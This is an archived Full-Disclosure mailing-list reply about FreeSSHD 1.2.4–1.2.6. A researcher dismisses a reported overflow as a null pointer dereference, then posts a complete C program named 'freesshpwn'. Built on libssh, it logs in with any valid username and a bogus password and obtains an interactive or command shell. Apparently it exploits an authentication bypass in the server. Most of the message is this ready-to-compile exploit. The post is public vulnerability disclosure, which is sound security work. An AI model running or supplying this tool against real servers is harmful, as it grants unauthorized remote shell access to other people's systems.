[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] FreeSSHD 1.2.4~1.2.6 Remote Buffer Overflow DoS



Le 02/08/10 18:36, YGN Ethical Hacker Group a écrit :
> This is to confirm FreeSSHD 1.2.6 , latest version, is still vulnerable to 
> this:
> http://www.exploit-db.com/exploits/11842/
> 
> I request exploit researchers to find remote code execution capability
> in this flaw.
> 
Your "request" was examined. This is nothing more than a null pointer
deference, which cannot be easily exploited. However you should have a
look at the code below, it compiles with libssh 0.4.5. You need to
provide a valid login to the SSH server.

This vulnerability says long about the seriousness of this application.
I will probably find more in future if I find time to reverse it.

Aris

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>

#include <sys/select.h>
#include <sys/time.h>
#include <pty.h>
#include <sys/ioctl.h>
#include <signal.h>
#include <errno.h>
#include <libssh/libssh.h>

#define MAXCMD 10
char *host;
char *user;
char *cmds[MAXCMD];
struct termios terminal;


static void add_cmd(char *cmd){
    int n;
    for(n=0;cmds[n] && (n<MAXCMD);n++);
    if(n==MAXCMD)
        return;
    cmds[n]=strdup(cmd);
}

static void usage(){
    fprintf(stderr,"Usage : freesshpwn [login@]hostname\n"
    "login must exist on SSH server\n");
    exit(0);
}

static int opts(int argc, char **argv){
    int i=1;
    if(i < argc)
        host=argv[i++];
    while(i < argc)
        add_cmd(argv[i++]);
    if(host==NULL)
        usage();
    return 0;
}

static void do_cleanup(int i) {
  /* unused variable */
  (void) i;

  tcsetattr(0,TCSANOW,&terminal);
}

static void do_exit(int i) {
  /* unused variable */
  (void) i;

  do_cleanup(0);
  exit(0);
}

ssh_channel chan;
int signal_delayed=0;

static void sigwindowchanged(int i){
  (void) i;
  signal_delayed=1;
}

static void setsignal(void){
    signal(SIGWINCH, sigwindowchanged);
    signal_delayed=0;
}

static void sizechanged(void){
    struct winsize win = { 0, 0, 0, 0 };
    ioctl(1, TIOCGWINSZ, &win);
    channel_change_pty_size(chan,win.ws_col, win.ws_row);
//    printf("Changed pty size\n");
    setsignal();
}

static void select_loop(ssh_session session,ssh_channel channel){
        fd_set fds;
        struct timeval timeout;
        char buffer[4096];
        /* channels will be set to the channels to poll.
         * outchannels will contain the result of the poll
         */
        ssh_channel channels[2], outchannels[2];
        int lus;
        int eof=0;
        int maxfd;
        int ret;
        while(channel){
                do{
                        FD_ZERO(&fds);
                        if(!eof)
                                FD_SET(0,&fds);
                        timeout.tv_sec=30;
                        timeout.tv_usec=0;
                        FD_SET(ssh_get_fd(session),&fds);
                        maxfd=ssh_get_fd(session)+1;
                        channels[0]=channel; // set the first channel we want 
to read from
                        channels[1]=NULL;
                        
ret=ssh_select(channels,outchannels,maxfd,&fds,&timeout);
                        if(signal_delayed)
                                sizechanged();
                        if(ret==EINTR)
                                continue;
                        if(FD_ISSET(0,&fds)){
                                lus=read(0,buffer,sizeof(buffer));
                                if(lus)
                                        channel_write(channel,buffer,lus);
                                else {
                                        eof=1;
                                        channel_send_eof(channel);
                                }
                        }
                        if(channel && channel_is_closed(channel)){
                                ssh_log(session,SSH_LOG_RARE,"exit-status : 
%d\n",channel_get_exit_status(channel));

                                channel_free(channel);
                                channel=NULL;
                                channels[0]=NULL;
                        }
                        if(outchannels[0]){
                                while(channel && channel_is_open(channel) && 
channel_poll(channel,0)){
                                        
lus=channel_read(channel,buffer,sizeof(buffer),0);
                                        if(lus==-1){
                                                fprintf(stderr, "Error reading 
channel: %s\n",
                                                                
ssh_get_error(session));
                                                return;
                                        }
                                        if(lus==0){
                                                
ssh_log(session,SSH_LOG_RARE,"EOF received\n");
                                                
ssh_log(session,SSH_LOG_RARE,"exit-status : 
%d\n",channel_get_exit_status(channel));

                                                channel_free(channel);
                                                channel=channels[0]=NULL;
                                        } else
                                                write(1,buffer,lus);
                                }
                                while(channel && channel_is_open(channel) && 
channel_poll(channel,1)){ /* stderr */
                                        
lus=channel_read(channel,buffer,sizeof(buffer),1);
                                        if(lus==-1){
                                                fprintf(stderr, "Error reading 
channel: %s\n",
                                                                
ssh_get_error(session));
                                                return;
                                        }
                                        if(lus==0){
                                                
ssh_log(session,SSH_LOG_RARE,"EOF received\n");
                                                
ssh_log(session,SSH_LOG_RARE,"exit-status : 
%d\n",channel_get_exit_status(channel));
                                                channel_free(channel);
                                                channel=channels[0]=NULL;
                                        } else
                                                write(2,buffer,lus);
                                }
                        }
                        if(channel && channel_is_closed(channel)){
                                channel_free(channel);
                                channel=NULL;
                        }
                } while (ret==EINTR || ret==SSH_EINTR);

        }
}

static void shell(ssh_session session){
    ssh_channel channel;
    struct termios terminal_local;
    int interactive=isatty(0);
    channel = channel_new(session);
    if(interactive){
        tcgetattr(0,&terminal_local);
        memcpy(&terminal,&terminal_local,sizeof(struct termios));
    }
    if(channel_open_session(channel)){
        printf("error opening channel : %s\n",ssh_get_error(session));
        return;
    }
    chan=channel;
    if(interactive){
        channel_request_pty(channel);
        sizechanged();
    }
    if(channel_request_shell(channel)){
        printf("Requesting shell : %s\n",ssh_get_error(session));
        return;
    }
    if(interactive){
        cfmakeraw(&terminal_local);
        tcsetattr(0,TCSANOW,&terminal_local);
        setsignal();
    }
    signal(SIGTERM,do_cleanup);
    select_loop(session,channel);
    if(interactive)
        do_cleanup(0);
}

static void batch_shell(ssh_session session){
    ssh_channel channel;
    char buffer[1024];
    int i,s=0;
    for(i=0;i<MAXCMD && cmds[i];++i)
        s+=snprintf(buffer+s,sizeof(buffer)-s,"%s ",cmds[i]);
    channel=channel_new(session);
    channel_open_session(channel);
    if(channel_request_exec(channel,buffer)){
        printf("error executing \"%s\" : %s\n",buffer,ssh_get_error(session));
        return;
    }
    select_loop(session,channel);
}

static int client(ssh_session session){
  if (user)
    ssh_options_set(session, SSH_OPTIONS_USER, user);
  ssh_options_set(session, SSH_OPTIONS_HOST ,host);

  if(ssh_connect(session)){
      fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
      return -1;
  }
  ssh_userauth_none(session, NULL);
  ssh_userauth_password(session, NULL, "youshallnotpwn");
  system("clear");
  if(!cmds[0])
        shell(session);
  else
        batch_shell(session);
  return 0;
}

int main(int argc, char **argv){
    ssh_session session;

    session = ssh_new();

    if(ssh_options_getopt(session, &argc, argv)) {
      fprintf(stderr, "error parsing command line :%s\n",
          ssh_get_error(session));
      usage();
    }
    opts(argc,argv);
    signal(SIGTERM, do_exit);
    client(session);

    ssh_disconnect(session);
    ssh_free(session);
    return 0;
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/